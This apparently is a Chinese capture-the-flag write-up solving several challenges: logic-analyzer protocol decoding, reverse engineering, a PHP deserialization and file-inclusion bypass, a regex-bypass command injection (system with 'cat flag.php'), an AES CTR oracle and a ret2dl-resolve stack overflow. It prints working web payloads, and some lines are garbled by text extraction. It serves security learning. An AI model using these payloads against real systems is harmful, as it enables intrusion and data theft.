操作内容:
下载链接,解压并运行软件,对准两个聚焦圆圈,控制台回车输出 flag
操作内容:
打开发现是.logicdata(逻辑分析仪数据文件),使用 Logic 软件打开,根据时钟频率以及通
讯方式擦侧是属于 SPI 通讯,解析得到 flag
flag 竖着读
操作内容:
同上题方式,打开,发现又是 IIC 协议,解析发现结果
尝试拼接发现有问题,然后想到题目名是 24c,想到 IIC 的 EEPROM 存储芯片 24c02,又联
想到是 IIC 协议,想起 IIC 操作 24c02 的时候要先发送开始操作的地址,以及 NAK 这个停
止符(想到可能是要修改内容二中断接收)。于是想到\t 不是字符,其对应的 ASCII 是 9,也
就是从第 9 号位‘9’开始将”9e”替换为 ac,与之前的部分进行拼接然后得到结果。
操作内容:
下载链接,经分析,需要输入一些字符串,所以打开 ida
地址 0x495168
搜索 please,然后交叉引用返回到
,然后用 gdb 在 0x495168 处下断点,单步调试,直到让输入一些字符串,这个地方随便输,
就行,然后一直单步执行,会到两个字符串比较的地方,这时可以在栈空间看见 flag,如下:
操作内容:
在网页源代码中发现提示
php 任意文件包含,下面是 base64 转文本的结果
index.php
<html>
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'
';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
hint.php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>
我们使用 ///,可以绕过 url = parse_url( S E R V E R [ ′ R E Q U E S T U R I ′ ] ) ; p a r s e s t r ( _SERVER['REQUEST_URI']); parse_str( SERVER[′REQUESTURI′]);parsestr(url[‘query’],$query);
然后 使用%00 绕过 wakeup;
最后使用=& 链接 指向同一地址 使得 token = token_flag 即可。
使用 payload:
http://cca41b4bf4704d57b697729ee8950f4c509984bceeb5401c.changame.ichu
nqiu.com///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:%
22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.
php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}
操作内容:
Question0 解四元一次方程:
Question1 根据规律可以知道 part1 为 26365399
Question2 求极限函数可知 part2 为 7700
Question3 根据感应电动势计算公式可知 part3 为 18640
Question4 计算立体图形体积,三重积分可得 part4 为 40320
将所得数字进行十六进制转换,得到 flag
操作内容:
下载链接,将文件拖进逻辑分析仪中,并设置相关参数,如图:
操作内容:
下载链接,分析代码文件,确定是 AES 题目。通过分析,可以联想到 DDCTF 中 AES ECB 加
解密还原(安全通信)类似于本题目,唯一的区别就是 ECB 换成了另外的 CRT,解题的思
路和关键点在可控密钥长度,这里选择逐位爆破 flag,经过测试可以知道逐位爆破 flag,
每次 16 位,重复 3 位即可;
(类似 AES ECB 题目链接:https://www.cnblogs.com/kagari/p/8889412.html)
根据分析撸出脚本,如图:
操作内容:
查看源代码发现 ajax 连接一个 calc.php 文件,访问这个文件
访问之后,给出源代码
发现需要绕过两处正则,经过半天的测试,发现可以通过这种方法绕过正则列目录 e x p = b a s e c o n v e r t ; exp=base_convert; exp=baseconvert;sin= e x p ( 1751504350 , 10 , 36 ) ; exp(1751504350,10,36); exp(1751504350,10,36);tan= e x p ( 784 , 10 , 36 ) ; exp(784,10,36); exp(784,10,36);sin($tan);
然后就是想尽办法读取 flag.php 的内容,一开始是觉得在这个地方想办法绕过特殊字符,
绕过空格使用 cat 读取文件,到下午之后发现其他的利用方式
base_convert 可以进行进制转化并且在白名单中 37907361743-hex2bin
dechex 可以将十进制转十六进制,1598506324-5f474554
后面就是按照正则绕就 OK 了。
payload:/calc.php?c= p i = b a s e c o n v e r t ( 37907361743 , 10 , 36 ) ( d e c h e x ( 1598506324 ) ) ; ( pi=base_convert(37907361743,10,36)(dechex(1598506324)); ( pi=baseconvert(37907361743,10,36)(dechex(1598506324));( p i ) 1 ( ( pi){1}(( pi)1(($pi){2})&1=system&2=cat%20flag.php
进制转换可以通过这个网站在线转换: https://tool.lu/hexconvert/
操作内容:
下载链接,解压文件,直接拖进 UE,发现用户名和密码,如图所示:
初看感觉应该是正常的 base64,但是在线解密后,发现不对,测试一下,感觉应该是畸形
base64 解码,如下图:
可以知道用户名经过了 rsm 加密,然后是 base64 解码,
最后可以得到用户名为:badrer12
此时密码还没有得到,lda 进行反编译一下,单流程有几百个,ida 远程进行动态调试,在
要输入的数据上下断点,然后查看内存,发现
密码得到为:xyz{|};
输入用户名和密码,使用 pwntools,运行脚本,
操作内容:
下载链接,解压文件,放入 ida,分析一波
如下图可以发现,除了明显的栈溢出,没有可以用来 leak 内存布局,bypass
aslr 的函数,
反编译 read,可以看出有很明显的栈溢出漏洞,但是只有一个
read,没有可以用来 leak 的函数,所以利用 ret2dl 的解法
关键思路是通过栈溢出来调用 read 函数在 bss 段写我们需要的结构
和/bin/sh,然后使用 dl_resolve_call 去调用 system,得到 shell
脚本编写,如下图:
反编译 read,可以看出有很明显的栈溢出漏洞,但是只有一个
read,没有可以用来 leak 的函数,所以利用 ret2dl 的解法
关键思路是通过栈溢出来调用 read 函数在 bss 段写我们需要的结构
和/bin/sh,然后使用 dl_resolve_call 去调用 system,得到 shell
脚本编写,如下图:
利用 roputils 工具来实现 ret2dl(在 python 中算模块)
直接在 github 上下载 roputils 包:
https://codeload.github.com/inaz2/roputils/zip/master
运行脚本,得到 flag